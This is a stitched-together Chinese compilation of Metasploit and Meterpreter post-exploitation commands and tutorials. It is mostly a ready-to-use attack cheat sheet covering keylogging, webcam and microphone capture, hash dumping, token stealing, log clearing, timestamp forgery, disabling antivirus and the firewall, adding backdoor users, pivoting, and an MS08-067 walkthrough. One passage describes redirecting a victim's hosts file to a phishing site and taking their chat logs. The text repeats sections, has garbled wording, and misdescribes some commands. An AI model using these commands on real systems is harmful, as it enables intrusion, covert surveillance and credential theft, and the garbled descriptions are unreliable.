meterpreter会话渗透利用常用命令归纳小结
msf基本常用命令
msf基本常用命令MSF基本常用命令Metasploit(简称MSF)是一款功能强大的渗透测试工具,被广泛应用于网络安全领域。
它提供了一系列基本常用命令,帮助渗透测试人员进行攻击和防御。
本文将介绍MSF的一些基本常用命令,帮助读者更好地了解和使用这个工具。
1. 扫描命令MSF提供了多种扫描命令,用于探测目标主机的漏洞和服务。
其中,常用的命令包括:- `db_nmap`:使用Nmap扫描目标主机,并将结果保存到数据库中。
- `db_autopwn`:自动利用数据库中保存的漏洞信息对目标主机进行攻击。
- `db_import`:导入第三方工具(如Nessus)的扫描结果到MSF的数据库中。
2. 渗透命令渗透命令是MSF最核心的功能之一,它可以帮助用户利用已知的漏洞攻击目标主机。
常用的渗透命令包括:- `exploit`:根据目标主机的漏洞信息进行攻击。
- `set`:设置攻击载荷的参数,如目标主机、端口等。
- `show options`:查看当前攻击模块的参数配置。
- `run`:执行攻击模块。
3. 模块命令MSF以模块化的方式组织其功能,用户可以通过加载和使用不同的模块来完成特定的任务。
常用的模块命令包括:- `use`:加载指定的模块。
- `search`:搜索与关键词相关的模块。
- `info`:查看模块的详细信息。
- `reload_all`:重新加载所有模块。
4. 数据库命令MSF内置了一个数据库,用于存储扫描结果、漏洞信息等数据。
用户可以通过数据库命令对这些数据进行管理。
常用的数据库命令包括:- `db_connect`:连接到已存在的数据库。
- `db_create`:创建一个新的数据库。
- `db_destroy`:销毁当前的数据库。
- `db_export`:导出数据库中的数据。
5. 辅助命令除了上述的基本命令,MSF还提供了一些辅助命令,用于辅助渗透测试的工作。
常用的辅助命令包括:- `sessions`:查看当前已建立的会话。
渗透技巧总结
渗透技巧总结渗透测试是一种通过模拟黑客攻击的方式来评估计算机系统、网络系统、应用程序等信息系统的安全性和防御能力。
在进行渗透测试时,渗透测试人员需要运用一系列的技巧和工具来获取系统的信息、发现潜在的安全漏洞,并进一步利用这些漏洞进行渗透攻击。
下面将从信息收集、漏洞扫描、攻击技术等方面总结渗透测试中常用的技巧。
一、信息收集1. 主机发现:利用网络扫描工具(如Nmap)对目标主机进行扫描,获取主机的IP地址、开放端口等信息。
2. 网络拓扑发现:使用工具(如NetStat、Wireshark)分析目标网络的拓扑结构,了解网络设备、子网等信息。
3. 网站信息收集:通过搜索引擎、Whois查询等方式获取目标网站的域名信息、服务器信息等。
4. 社交工程:通过社交媒体、员工信息等途径,获取目标组织的人员、部门等相关信息。
二、漏洞扫描1. 漏洞扫描工具:使用工具(如Nessus、OpenVAS)对目标系统进行漏洞扫描,识别系统中存在的漏洞。
2. Web应用扫描:利用工具(如Burp Suite、Acunetix)对Web应用程序进行扫描,发现可能存在的Web漏洞。
3. 操作系统漏洞利用:通过利用已知的操作系统漏洞(如MS08-067)来实现对目标系统的攻击。
三、攻击技术1. 社会工程学:通过钓鱼邮件、钓鱼网站等方式诱导目标用户点击恶意链接、下载恶意文件。
2. 密码破解:利用暴力破解、字典攻击等方式对目标系统的口令进行破解。
3. 缓冲区溢出:利用溢出漏洞向目标系统注入恶意代码,执行攻击代码。
4. 水坑攻击:通过植入木马等恶意程序,监视目标用户的行为并获取信息。
总结:渗透测试需要渗透测试人员具备扎实的网络知识、熟练运用各种渗透测试工具,并且具备良好的逻辑分析能力和创新思维。
渗透测试人员在进行渗透攻击时必须遵守法律法规,不得违法行为。
在进行渗透测试时,需事先获得目标系统所有者的授权,并在攻击中避免对目标系统造成损害。
Meteroreter介绍与使用
Meterpreter我们将对“黑客瑞士军刀”——Meterpreter进行更加深入的了解,它能够显著地提升在后渗透攻击阶段的技术能力。
Meterpreter 是Metasploit框架中的一个杀手锏,通常作为漏洞溢出后的攻击在和所使用,攻击在和在出发漏洞后能够返回给我们一个控制通道。
例如,利用远程过程调用(RPC)服务的一个漏洞,当漏洞出发后,我们选择Meterpreter作为攻击在和,就能够取得目标系统上的一个Meterpreter Shell连接。
Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更为深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等等。
下面我们用Metasploit的普通攻击方法来攻陷一台Windows XP 机器,然后利用Meterpreter作为攻击载荷,展示它在进入目标系统后的一些其他攻击方法与技术。
在利用漏洞MS08_067入侵主机的例子中,我们之所以能够成功,主要是由于目标主机反弹连接使用的端口没有被过滤掉。
但是如果我们攻击的组织内部设置了非常严格的出战端口过滤怎么办?很多公司在防火墙仅仅开放个别特定的端口,将其他端口一律关闭,这种情况我们很难判定能够通过那些端口连接到外部主机上。
我们可以猜测443端口没有被防火墙禁止,同样的可能还有FTP、Telent、SSH以及HTTP等服务使用的端口,可以逐一进行尝试。
Metasploit已经提供了一个专用的攻击载荷帮助我们找到这些放行的端口。
这个攻击载荷会对所有端口进行连接,知道他发现其中一个是放行的。
下面我们看看这个攻击的参数设置,如下图所示:请注意这里没有设置LPORT参数,而是使用allports攻击载荷在所有端口上进行监听,直到发现一个放行的端口。
参数设置完以后,使用攻击命令:exploit –j 如下图所示:从结果session 1 open可以发现我们的攻击机绑定到:1(指所有端口),他与目标主机的1050端口建立了连接。
渗透之meterpreter使用攻略
Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,本文主要整理了meterpreter的常用命令、脚本及使用方式。
包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。
0x01.系统命令1)基本系统命令sessions #sessions –h 查看帮助sessions -i <ID值> #进入会话-k 杀死会话background #将当前会话放置后台run #执行已有的模块,输入run后按两下tab,列出已有的脚本info #查看已有模块信息getuid # 查看权限getpid # 获取当前进程的pidsysinfo # 查看目标机系统信息ps # 查看当前活跃进程kill <PID值> 杀死进程idletime #查看目标机闲置时间reboot / shutdown #重启/关机shell #进入目标机cmd shell2)uictl开关键盘/鼠标uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标uictl disable mouse #禁用鼠标uictl disable keyboard #禁用键盘3)webcam摄像头命令webcam_list #查看摄像头webcam_snap #通过摄像头拍照webcam_stream #通过摄像头开启视频4)execute执行文件execute #在目标机中执行文件execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互5)migrate进程迁移getpid # 获取当前进程的pidps # 查看当前活跃进程migrate <pid值> #将Meterpreter会话移植到指定pid值进程中kill <pid值> #杀死进程6)clearav清除日志clearav #清除windows中的应用程序日志、系统日志、安全日志0x02.文件系统命令1)基本文件系统命令getwd 或者pwd # 查看当前工作目录lscdsearch -f *pass* # 搜索文件-h查看帮助cat c:\\lltest\\lltestpasswd.txt # 查看文件内容upload /tmp/hack.txt C:\\lltest # 上传文件到目标机上download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上edit c:\\1.txt #编辑或创建文件没有的话,会新建文件rm C:\\lltest\\hack.txtmkdir lltest2 #只能在当前目录下创建文件夹rmdir lltest2 #只能删除当前目录下文件夹getlwd 或者lpwd #操作攻击者主机查看当前目录lcd /tmp #操作攻击者主机切换目录2)timestomp伪造时间戳timestomp C:// -h #查看帮助timestomp -v C://2.txt #查看时间戳timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt0x03.网络命令1)基本网络命令ipconfig/ifconfignetstat –anoarpgetproxy #查看代理信息route #查看路由2)portfwd端口转发portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地66 66端口3)autoroute添加路由run autoroute –h #查看帮助run autoroute -s 192.168.159.0/24 #添加到目标环境网络run autoroute –p #查看添加的路由然后可以利用arp_scanner、portscan等进行扫描run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=33894)Socks4a代理autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理msf> use auxiliary/server/socks4amsf > set srvhost 127.0.0.1msf > set srvport 1080msf > run然后vi /etc/proxychains.conf #添加socks4 127.0.0.1 1080最后proxychains 使用Socks4a代理访问0x04.信息收集信息收集的脚本位于:/usr/share/metasploit-framework/modules/post/windows/gather/usr/share/metasploit-framework/modules/post/linux/gather信息收集的脚本较多,仅列几个常用的:run post/windows/gather/checkvm #是否虚拟机run post/linux/gather/checkvm #是否虚拟机run post/windows/gather/forensics/enum_drives #查看分区run post/windows/gather/enum_applications #获取安装软件信息run post/windows/gather/dumplinks #获取最近的文件操作run post/windows/gather/enum_ie #获取IE缓存run post/windows/gather/enum_chrome #获取Chrome缓存run post/windows/gather/enum_patches #补丁信息run post/windows/gather/enum_domain #查找域控0x05.提权1)getsystem提权getsystemgetsystem工作原理:①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
Metasploit(MSF)渗透测试框架使用教程及基本命令
Metasploit(MSF)渗透测试框架使用教程及基本命令使用Metasploit进行渗透测试需要一定的技术知识和经验。
以下是一些基本的Metasploit命令和使用教程,供初学者参考。
1. 启动Metasploit:在终端中输入"msfconsole",然后按回车键。
这将启动Metasploit的控制台界面。
2. 更新Metasploit:在控制台中输入"msfupdate",然后按回车键。
这将更新Metasploit的模块和资源。
3. 漏洞:使用"search"命令可以Metasploit框架中的漏洞模块。
例如,输入"search windows"将显示与Windows系统相关的漏洞模块。
4. 选择漏洞模块:使用"use"命令可以选择要使用的漏洞模块。
例如,输入"use exploit/windows/smb/ms08_067_netapi"将选择MS08-067漏洞模块。
5. 设置目标主机:使用"set"命令可以设置目标主机的IP地址或域名。
例如,输入"set RHOST 192.168.0.1"将设置目标主机的IP地址为192.168.0.16. 设置监听主机:使用"set"命令可以设置监听主机的IP地址。
例如,输入"set LHOST 192.168.0.2"将设置监听主机的IP地址为192.168.0.27. 运行攻击:使用"exploit"命令可以运行攻击。
例如,输入"exploit"将开始运行所选的漏洞模块对目标主机进行攻击。
8. 使用Meterpreter会话:如果攻击成功,将建立一个Meterpreter会话。
可以使用一系列的命令和模块来在目标系统上执行各种操作。
meterpreter命令详解
meterpreter命令详解Meterpreter是一个强大的后渗透工具,在Metasploit框架中被广泛应用。
它提供了丰富的命令和功能,可以帮助安全专业人员完成各种任务,包括远程控制、信息收集、网络扫描、漏洞利用、文件操作、特权提升等。
本文将对一些常用的Meterpreter命令进行详解。
1. help。
help命令用于列出所有可用的Meterpreter命令和模块。
用户可以通过该命令查看特定命令的语法和用法,或者了解Meterpreter的整体架构和功能。
2. sysinfo。
sysinfo命令用于获取目标系统的基本信息,包括操作系统类型、系统架构、主机名、IP地址等。
该命令可用于确定目标系统的运行环境,有助于攻击者选择和优化后续的攻击方式。
3. getuid。
getuid命令用于查看当前Meterpreter会话的用户权限和进程ID。
如果攻击者已经成功获取系统访问权限,可以使用该命令确认当前用户是否具有足够的权限进行特权提升或系统操作。
4. ps。
ps命令用于列出目标系统当前运行的进程列表。
该命令可以帮助攻击者了解系统资源使用情况,查找恶意进程或服务,或者发现存在对应漏洞的进程或服务。
5. migrate。
migrate命令用于在目标系统中移动Meterpreter会话到其他进程中。
该命令可以帮助避免杀毒软件和安全监控工具的检测和拦截,同时提高攻击持久性和控制能力。
6. screenshot。
screenshot命令用于获取目标系统当前屏幕截图。
该命令可以帮助攻击者了解目标用户使用习惯、识别系统配置和软件应用情况等,有助于进一步攻击和取证活动。
7. keyscan_start。
keyscan_start命令用于开始获取目标系统中键盘输入的记录。
该命令可以帮助攻击者获取目标用户输入的敏感信息,如用户名、密码、信用卡信息等,从而实现后续攻击或者信息窃取。
8. portfwd。
portfwd命令用于在目标系统中设置端口转发规则。
meterpreter使用
meterpreter使用0x01 系统命令基本系统命令1 background # 将当前会话放置后台2 sessions # sessions –h 查看帮助3 sessions -i <ID值> #进入会话 -k 杀死会话4 bgrun / run # 执行已有的模块,输入run后按两下tab,列出已有的脚本5 info # 查看已有模块信息6 getuid # 查看当前用户身份7 getprivs # 查看当前用户具备的权限8 getpid # 获取当前进程ID(PID)9 sysinfo # 查看目标机系统信息10 irb # 开启ruby终端11 ps # 查看正在运行的进程12 kill <PID值> # 杀死指定PID进程13 idletime # 查看目标机闲置时间14 reboot / shutdown # 重启/关机15 shell # 进入目标机cmd shell常用cmd命令1 whoami # 当前权限2 quser # 查询当前在线的管理员3 net user # 查看存在用户4 net user 用户名密码 /add # 添加用户和对应密码5 net localgroup 用户组名用户名 /add # 将指定用户添加到指定用户组6 netstat -ano # 查询当前计算机中网络连接通信情况,LISTENING表示该端口处于监听状态;ESTABLISHED表示该端口处于工作(通信)状态7 systeminfo # 查看当前计算机中的详细情况8 tasklist /svc # 查看每个进程所对应的服务9 taskkill /f /im 程序名称 # 结束某个指定名称的程序10 taskkill /f /PID ID # 结束某个指定PID的进程11 tasklist | findstr "字符串" # 查找输出结果中指定的内容12 logoff # 注销某个指定用户的ID13 shutdown -r # 重启当前计算机14 netsh adcfirewall set allprofiles state off # 关闭防火墙uictl开关键盘/鼠标1 uictl [enable/disable] [keyboard/mouse/all] # 开启或禁止键盘/鼠标2 uictl disable mouse # 禁用鼠标3 uictl disable keyboard # 禁用键盘execute执行文件1 execute #在目标机中执行文件2 execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互3 execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt"4 # -d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行5 "-o hack.txt"是payload.exe的运行参数migrate进程迁移1 getpid # 获取当前进程的pid2 ps # 查看当前活跃进程3 migrate <pid值> # 将Meterpreter会话移植到指定pid值进程中4 kill <pid值> # 杀死进程clearav清楚日志1 clearav # 清除windows中的应用程序日志、系统日志、安全日志0x02 文件系统命令基本文件系统命令1 ls # 列出当前目录中的文件列表2 cd # 进入指定目录3 getwd / pwd # 查看当前工作目录4 search -d c:\\ -f *.txt # 搜索文件 -d 目录 -f 文件名5 cat c:\\123.txt # 查看文件内容6 upload /tmp/hack.txt C:\\ # 上传文件到目标机上7 download c:\\123.txt /tmp/ # 下载文件到本机上8 edit c:\\test.txt # 编辑或创建文件没有的话,会新建文件9 rm C:\\hack.txt # 删除文件10 mkdir admin # 只能在当前目录下创建文件夹11 rmdir admin # 只能删除当前目录下文件夹12 getlwd / lpwd # 查看本地当前目录13 lcd /tmp # 切换本地目录timestomp伪造时间戳1 timestomp C:\\ -h #查看帮助2 timestomp -v C:\\2.txt #查看时间戳3 timestomp C:\\2.txt -f C:\\1.txt #将1.txt的时间戳复制给2.txt4 timestomp c:\\test\\22.txt -z "03/10/2019 11:55:55" -v # 把四个属性设置为统一时间0x03 网络命令基本网络命令1 ipconfig/ifconfig # 查看网络接口信息2 netstat –ano # 查看网络连接状态3 arp # 查看arp缓冲表4 getproxy # 查看代理信息5 route # 查看路由表信息portfwd 端口转发1 portfwd add -l 1111 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地1111端口2 rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接3 rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码autoroute 添加路由1 run autoroute -h # 查看帮助2 run get_local_subnets # 查看目标内网网段地址3 run autoroute -s 192.168.183.0/24 # 添加目标网段路由4 run autoroute -p # 查看添加的路由利用arp_scanner、portscan等进行扫描1 run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/242 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=33890x04 信息收集常用脚本1 run arp_scanner -r 192.168.183.1/24 # 利用arp进行存活主机扫描2 run winenum # 自动化执行一些检测脚本3 run credcollect # 获取用户hash4 run domain_list_gen # 获取域管理账户列表5 run post/multi/gather/env # 获取用户环境变量6 run post/windows/gather/enum_logged_on_users -c # 列出当前登录用户7 run post/linux/gather/checkvm # 是否虚拟机8 run post/windows/gather/checkvm # 是否虚拟机9 run post/windows/gather/forensics/enum_drives # 查看存储器信息10 run post/windows/gather/enum_applications # 获取安装软件信息11 run post/windows/gather/dumplinks # 获取最近访问过的文档、链接信息12 run post/windows/gather/enum_ie # 获取IE缓存13 run post/windows/gather/enum_firefox # 获取firefox缓存14 run post/windows/gather/enum_chrome # 获取Chrome 缓存15 run post/multi/recon/local_exploit_suggester # 获取本地提权漏洞16 run post/windows/gather/enum_patches # 获取补丁信息17 run post/windows/gather/enum_domain # 查找域控18 run post/windows/gather/enum_snmp # 获取snmp团体名称19 run post/windows/gather/credentials/vnc # 获取vnc密码20 run post/windows/wlan/wlan_profile # 用于读取目标主机WiFi密码21 run post/multi/gather/wlan_geolocate # 基于wlan进行地理位置确认文件位于/root/.msf4/loot22 run post/windows/manage/killav 关闭杀毒软件常用的破解模块1 auxiliary/scanner/mssql/mssql_login2 auxiliary/scanner/ftp/ftp_login3 auxiliary/scanner/ssh/ssh_login4 auxiliary/scanner/telnet/telnet_login5 auxiliary/scanner/smb/smb_login6 auxiliary/scanner/mssql/mssql_login7 auxiliary/scanner/mysql/mysql_login8 auxiliary/scanner/oracle/oracle_login9 auxiliary/scanner/postgres/postgres_login10 auxiliary/scanner/vnc/vnc_login11 auxiliary/scanner/pcanywhere/pcanywhere_login12 auxiliary/scanner/snmp/snmp_login13 auxiliary/scanner/ftp/anonymous键盘记录1 keyscan_start # 开始键盘记录2 keyscan_dump # 导出记录数据3 keyscan_stop # 结束键盘记录sniffer 抓包1 use sniffer2 sniffer_interfaces # 查看网卡3 sniffer_start 1 # 选择网卡1开始抓包4 sniffer_stats 1 # 查看网卡1状态5 sniffer_dump 1 /tmp/wlan1.pcap # 导出pcap数据包6 sniffer_stop 1 # 停止网卡1抓包7 sniffer_release 1 # 释放网卡1流量窃取令牌1 steal_token <pid值> # 从指定进程中窃取token2 drop_token # 停止假冒当前的token网络摄像头1 record_mic # 音频录制2 webcam_chat # 开启视频聊天(对方有弹窗)3 webcam_list # 查看摄像头4 webcam_snap # 通过摄像头拍照5 webcam_stream # 通过摄像头开启视频监控(以网页形式进行监控≈直播)截屏1 screenshot # 截屏2 use espia # 使用espia模块3 screengrab # 截屏0x05 提权getsystem 提权利用getsystem命令提权,该命令会自动寻找各种可能的提权技术来使得用户将权限提升到更高的级别。
meterpreter模块 execute用法
文章标题:深入解析meterpreter模块 execute的用法1. 介绍在网络安全领域中,meterpreter是一个非常常用且强大的工具,它可以用于渗透测试、网络攻击和漏洞利用等方面。
而其中的execute模块更是被广泛应用。
本文将深入探讨meterpreter模块execute的用法,并从浅入深地展开讨论,以帮助读者更加全面地了解这一功能。
2. 初探execute模块execute模块是meterpreter中的一个核心模块,它主要用于执行系统命令、脚本或其他可执行文件。
通过execute模块,用户可以在目标系统上执行自定义的代码,进而实现对目标系统的控制、信息收集等操作。
这使得execute模块成为了渗透测试和攻击中的必备工具之一。
3. execute的基本使用在使用execute模块时,用户需要指定要执行的命令或可执行文件的路径,同时可以指定一些可选的参数。
执行一个系统命令可以使用以下语法:```execute -f /bin/ls -H```其中,-f参数指定要执行的文件路径,-H参数用于隐藏执行过程中的输出信息,这样可以更加隐蔽地进行操作。
4. execute的高级功能除了基本的命令执行外,execute模块还具有一些高级的功能,例如权限提升、持久化等。
通过合理利用这些功能,用户可以实现更加深入和灵活的攻击手段,同时也可以更好地掩盖自己的痕迹。
5. 总结与回顾本文从对execute模块的介绍开始,逐步深入地讨论了其基本使用和高级功能。
通过这样的探讨,读者可以更好地理解execute模块的作用和用法,从而在实际的渗透测试和攻击中运用更加灵活和有效。
6. 个人观点我认为execute模块作为meterpreter的核心功能之一,具有非常重要的意义。
在实际的渗透测试和攻击中,合理利用execute模块可以极大地提高攻击者的成功率,并且在防御方面也需要重视对execute 模块的防范和检测。
meterpreter 键盘监听原理
一、概述Meterpreter是Metasploit框架中的一款强大的后渗透攻击工具,可以通过多种方式获取对目标主机的控制权。
其中,键盘监听是一种常用的攻击手段,可以通过监控被攻击主机的键盘输入,获取用户的账号、密码等敏感信息。
本文将对Meterpreter键盘监听的原理进行深入探讨。
二、Meterpreter简介1. 什么是MeterpreterMeterpreter是Metasploit框架中的一款强大的后渗透攻击工具,可以通过多种方式获取对目标主机的控制权。
它提供了丰富的功能,包括文件操作、进程管理、漏洞利用、逆向Shell等,可以实现对远程主机的完全控制。
2. Meterpreter的工作原理Meterpreter通过利用目标主机上的漏洞,执行payload程序,使得攻击者可以获得一个特权Shell,从而可以执行各种命令、操作文件系统等。
三、键盘监听的原理1. 什么是键盘监听键盘监听是一种后渗透攻击手段,通过监控目标主机的键盘输入,获取用户的敏感信息,如账号、密码等。
2. Meterpreter中的键盘监听在Meterpreter中,可以通过键盘监听模块实现对目标主机的键盘输入进行监控。
一旦用户在目标主机上输入了账号、密码等信息,这些信息就会被传送到攻击者的控制端,从而获取这些敏感信息。
3. 实现原理Meterpreter的键盘监听原理主要基于以下几个方面:a. Hook键盘输入Meterpreter会hook目标主机上的键盘输入,在用户输入时对其进行监控和记录。
这一步通常使用操作系统的API来实现。
b. 注入DLLMeterpreter会利用目标主机上的漏洞,将自己的DLL(动态信息库)注入到目标进程中,以实现对键盘输入的监控。
c. 传输数据Meterpreter会将监听到的键盘输入数据传输到攻击者的控制端,以便分析和获取敏感信息。
四、防御措施1. 加强安全意识培训企业和个人应加强对网络安全的认识和意识,提高对各种后渗透攻击手段的防范能力。
meterpreter channel 详细用法
Meterpreter 的channel 是用于在攻击者和受害者之间建立通信的一种机制。
以下是一些常用的Meterpreter channel 用法:1. 信息收集:使用`sysinfo` 命令可以获取目标系统的信息,包括操作系统版本、架构、用户名等。
2. 提权:通过`getsystem` 命令可以将当前会话提升至系统权限。
3. 注册表操作:可以使用`registry` 命令来访问和修改目标系统的注册表。
4. 令牌操纵:使用`tokens` 命令可以管理用户的登录令牌,实现权限提升或用户切换。
5. 哈希利用:通过`hashdump` 和`hashes` 命令可以分别转储和清除目标系统的密码哈希。
6. 后门植入:使用`persistence` 命令可以在目标系统上植入持久化后门。
7. 文件上传下载:通过`upload` 和`download` 命令可以实现文件的上传和下载。
8. 执行命令:使用`shell` 或`cmd` 命令可以在目标系统上执行Shell命令。
9. 屏幕捕获:通过`screenshot` 命令可以捕捉目标系统的屏幕。
10. 键盘记录:使用`keyscan_start` 和`keyscan_stop` 命令可以开始和停止记录目标系统的键盘输入。
11. 远程控制:通过`mouse_event` 和`keystroke` 命令可以模拟鼠标事件和键盘输入。
12. 清除痕迹:使用`clearev` 命令可以清除事件日志。
13. 迁移进程:通过`migrate` 命令可以将Meterpreter 会话迁移到另一个进程中。
14. 杀死进程:使用`kill_process` 命令可以结束目标系统上的特定进程。
15. 获取密码:通过`hashdump` 命令可以从内存中提取明文密码。
16. 网络操作:使用`portfwd` 命令可以在目标系统上设置端口转发。
17. 路由操作:通过`route` 命令可以查看和管理目标系统的路由表。
meterpreter会话渗透利用常用命令归纳小结
meterpreter会话渗透利用常用的32个命令归纳小结仅作渗透测试技术实验之用,请勿针对任何未授权网络和设备。
1、background命令返回,把meterpreter后台挂起2、session命令session 命令可以查看已经成功获取的会话可以使用session -i 连接到指定序号的meterpreter会话已继续利用3、shell命令获取目标主机的远程命令行shell如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试4、cat命令查看目标主机上的文档内容例如:cat C:\\boot.ini 查看目标主机启动引导信息5、getwd命令获取系统工作的当前目录6、upload命令仅作渗透测试技术实验之用,请勿针对任何未授权网络和设备。
1、background命令返回,把meterpreter后台挂起2、session命令session 命令可以查看已经成功获取的会话可以使用session -i 连接到指定序号的meterpreter会话已继续利用3、shell命令获取目标主机的远程命令行shell如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试4、cat命令查看目标主机上的文档内容例如:cat C:\\boot.ini 查看目标主机启动引导信息5、getwd命令获取系统工作的当前目录6、upload命令上传文件到目标主机,例如把后门程序setup.exe传到目标主机system32目录下upload setup.exe C:\\windows\\system32\7、download命令把目标主机上的文件下载到我们的攻击主机上例如:把目标主机C盘根目录下的boot.ini文件下载到攻击主机的/root/目录下download C:\\boot.ini /root/download C:\\"Program Files"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/把目标主机上的QQ聊天记录下载到攻击主机的root目录下(仅实验用途,是否要考虑变更你QQ程序的安装路径了呢)8、edit命令调用vi编辑器,对目标主机上的文件修改例如修改目标主机上的hosts文件,使得目标主机访问baidu时去到准备好的钓鱼网站(仅限实验用途)在目标主机上ping ,出来的目标IP就是我们修改的192.168.1.1了9、search命令在目标主机文件系统上查找搜索文件例如:search -d c:\\ -f *.doc在目标主机C盘下搜索doc文档10、ipconfig命令这个不多说,查看目标主机上的网络参数11、portfwd命令端口转发例如目标主机上开启了3389,但是只允许特定IP访问,攻击主机无法连接,可以使用portfwd命令把目标主机的3389端口转发到其他端口打开例如:portfwd add -l 1122 -p 3389 -r 192.168.250.176把目标主机192.168.250.176的3389端口转发到1122端口这是只需要连接目标的1122端口就可以打开远程桌面了rdesktop -u administrator -p 123456 192.168.250.176:112212、route命令这个也不多说,显示目标主机上的主机路由表13、getuid查看meterpreter注入到目标主机的进程所属用户14、sysinfo查看目标主机系统信息15、ps命令查看目标主机上运行的进程信息,结合migrate使用16、migrate将meterpreter会话移植到另一个进程例如反弹的meterpreter会话是对方打开了一个你预置特殊代码的word文档而产生的,那么对方一旦关闭掉该word文档,我们获取到的meterpreter会话就会随之关闭,所以把会话进程注入到explorer.exe 是一个好方法可以先用ps命令看一下目标主机的explorer.exe进程的pid是1668然后我们用migrate 1668 把meterpreter会话注入进去17、execute命令在目标主机上运行某个程序例如我们目前注入进程到explorer.exe后,运行用户为超级管理员administrator我们运行一下目标主机上的记事本程序execute -f notepad.exe目标主机上立马弹出来一个记事本程序,如下图:这样太明显,如果希望隐藏后台执行,加参数-Hexecute -H -f notepad.exe此时目标主机桌面没反应,但我们在meterpreter会话上使用ps命令看到了再看一个,我们运行目标主机上的cmd.exe程序,并以隐藏的方式直接交互到我们的meterpreter会话上命令:execute -H -i -f cmd.exe这达到的效果就跟使用shell命令一样了再来一个,在目标主机内存中直接执行我们攻击主机上的攻击程序,比如wce.exe,又比如木马等,这样可以避免攻击程序存储到目标主机硬盘上被发现或被查杀。
Meterpreter的开发利用
Meterpreter开发利用1 基本原理1.1 预备知识Metasploit Framework是一个缓冲区溢出测试使用的辅助工具,也可以说是一个漏洞利用和测试平台,它集成了各种平台上常见的溢出漏洞和流行的shellcode,并且不断更新,使得缓冲区溢出测试变的方便和简单。
exploit是指“漏洞及其利用”,其利用一切可以利用的工具、采取一切可以采取的方法、找到一切可以找到的漏洞。
并且对漏洞资料的分析研究,达到某些目的。
metasploit工具的主页是http://www. metasploit框架的下载地址是:http://www. /framework/downloadmeterpreter工作的好处:1、不创建进程(使用的内存注入方式)2、meterpreter是一个解释器加载各种攻击命令3、工作在被攻击进程的上下文中meterpreter工作过程:1、漏洞的利用代码 + 第一阶段的攻击载荷2、攻击载荷反向连接到msf3、发送第二阶段的攻击载荷dMSF发送meterpreter服务器 dll4、客户端和服务器进行通信1.2 相关知识Meterpreter的特征meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。
使用它作为攻击载荷能够获得目标系统的一个meterpreter shell的链接。
meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息另外meterpreter能够躲避入侵检测系统。
在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS [基于主机的入侵检测系统]很难对它做出响应。
meterpreter常用命令
meterpreter常⽤命令sessions -l 查看会话backgroud 暂时退出当前会话注⼊进程:ps 查看进程migrate 注⼊进程进程ID ⼀般选择explorer.exe对应的PIDrun vnc 查看远程桌⾯⽂件操作cat 查看⽂件edit 编辑⽂件upload 上传⽂件download 下载⽂件rm 删除⽂件mkdir 创建⽂件夹rmdir 删除⽂件夹⽹络及系统操作enumdesktops 在线⽤户数uictl disable keyboard 让键盘失效uictl enable keyboard 恢复键盘record_mic -d 10 ⾳频录制录制10秒webcam_stream 开启摄像头getsystem 获取最⾼权限hashdump 密码hashsysinfo 查看系统命令screenshot 截图run checkvm 查看是否是虚拟机getuid 查看运⾏⽊马的⽤户migrate pid //注⼊到进程成功会提⽰successfullymeterpreter > load mimikatz meterpreter > wdigest //加载mimikatz模块需要system权限meterpreter> run post/windows/capture/keylog_recorder #获取键盘记录,运⾏键盘记录模块,他⾃⼰创建本⽂。
特定扫描扫描端⼝use auxiliary/scanner/portscan/tcpshow optionsset rhosts 192.168.2.1-255set ports 21,22,25,443,445,1433,3306set threads 20exploitsmb_version 模块smb_version 模块:msf> use auxiliary/scanner/smb/smb_versionshow optionsset RHOSTS 192.168.1.111run查找mssql 主机msf> use auxiliary/scanner/mssql/mssql_pingshow optionsset RHOSTS 192.168.1.0/24set THREADS 255runSSH 服务器扫描msf> use auxiliary/scanner/ssh/ssh_versionset THREADS 50runFTP 主机扫描msf> use auxiliary/scanner/ftp/ftp_versionshow optionsset RHOSTS 192.168.1.0/24set THREADS 255run扫描FTP 匿名登录use auxiliary/scanner/ftp/anonymosset RHOSTS 192.168.1.0/24set THREADS 50run扫描SNMP 主机msf> use auxiliary/scanner/snmp/snmp_loginset RHOSTS 192.168.1.0/24set THREADS 50runmssql开发利⽤1.对各个ip是否有mssql服务的探测use scanner/mssql/mssql_ping //测试MSSQL的存在和信息show optionsset rhosts 192.168.2.1-255set threads 30exploit2.对扫描到的ip进⾏爆破use scanner/mssql/mssql_login //具体配置show options。
meterpreter命令大全
meterpreter命令⼤全在其最基本的使⽤,meterpreter 是⼀个 Linux 终端在受害者的计算机上。
这样,我们的许多基本的Linux命令可以⽤在meterpreter甚⾄是在⼀个窗⼝或其他操作系统。
